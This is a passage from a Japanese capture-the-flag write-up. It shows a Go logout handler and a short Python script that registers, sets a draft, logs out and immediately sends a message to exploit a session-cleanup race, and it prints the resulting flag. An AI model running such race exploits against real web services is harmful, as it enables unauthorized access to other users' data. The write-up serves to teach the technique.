func (s *Service) Logout(c *gin.Context) {
    ctx := c.Request.Context()

    tok := c.Request.CookiesNamed(tokenCookie)
    if len(tok) != 1 {
        c.AbortWithStatus(403)
        return
    }
    token := tok[0].Value
    st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
    username := st.Val()
    if username == "" || st.Err() != nil {
        c.JSON(403, registerResp{})
        return
    }

    st = s.red.Get(ctx, fmt.Sprintf(redis.WrittenNow, token))
    if st.Val() == "" || st.Err() != nil {
        s.red.Del(ctx, fmt.Sprintf(redis.SessionUsername, token))
        c.JSON(200, registerResp{})
        return
    }
    chat_name := st.Val()
    s.red.SRem(ctx, fmt.Sprintf(redis.ChatWriteList, chat_name), token)

    s.red.Del(ctx,
        fmt.Sprintf(redis.SessionUsername, token),
        fmt.Sprintf(redis.DraftMessage, token),
        fmt.Sprintf(redis.WrittenNow, token))

    c.JSON(200, registerResp{})
}

次のようなコードを用意した。ドラフトを作成してからログアウトし、すぐにメッセージを送信する。

import uuid
import httpx

u = str(uuid.uuid4())
p = str(uuid.uuid4())

c = 'best chat eva'
with httpx.Client(base_url='https://(省略)/') as client:
    client.post('/api/register', json={'login': u, 'password': p})
    client.post('/api/login', json={'login': u, 'password': p})
    client.post('/api/set_draft', json={"chat":c,"draft":"rrrr"})
    client.post('/api/logout')
    r = client.post('/api/send_message', json={"chat":c,"draft":"rrrr"})
    print(r, r.text)

一発ではうまくいかなかったが、何度か試すとフラグが得られた。

$ python3 s.py 
<Response [200 OK]> {"error":""}
<Response [200 OK]> {}
<Response [200 OK]> {}
<Response [200 OK]> {"error":""}
<Response [200 OK]> {"messages":[{"author":"admin","content":"SAS{1_dr15t3d_t00_f4r_th1s_t1m3}"},{"author":"","content":"KKKK"},{"author":"","content":"kekos"},{"author":"","content":"123"},{"author":"","content":"test"},{"author":"","content":"aaa"},{"author":"","content":"This is a draft message."},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"hi"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"awdawd"}],"users":null}
SAS{1_dr15t3d_t00_f4r_th1s_t1m3}

*1:合同チームというわけではなくて、実態はいつものBunkyoWesternsだった。好きで今回別のチーム名を名乗っていたわけではない

*2:確定ではなくて、たとえば我々より上の7チームが辞退すればもらえる

*3:ThinkPad X13 Gen 1。やや古いけど安かったので

*4:Ubuntu Desktop 24.04。みんな使っていて情報が得やすいので

*5:こういうアイデアが出るところに、自分の持つエスパーCTF耐性を感じて悲しくなる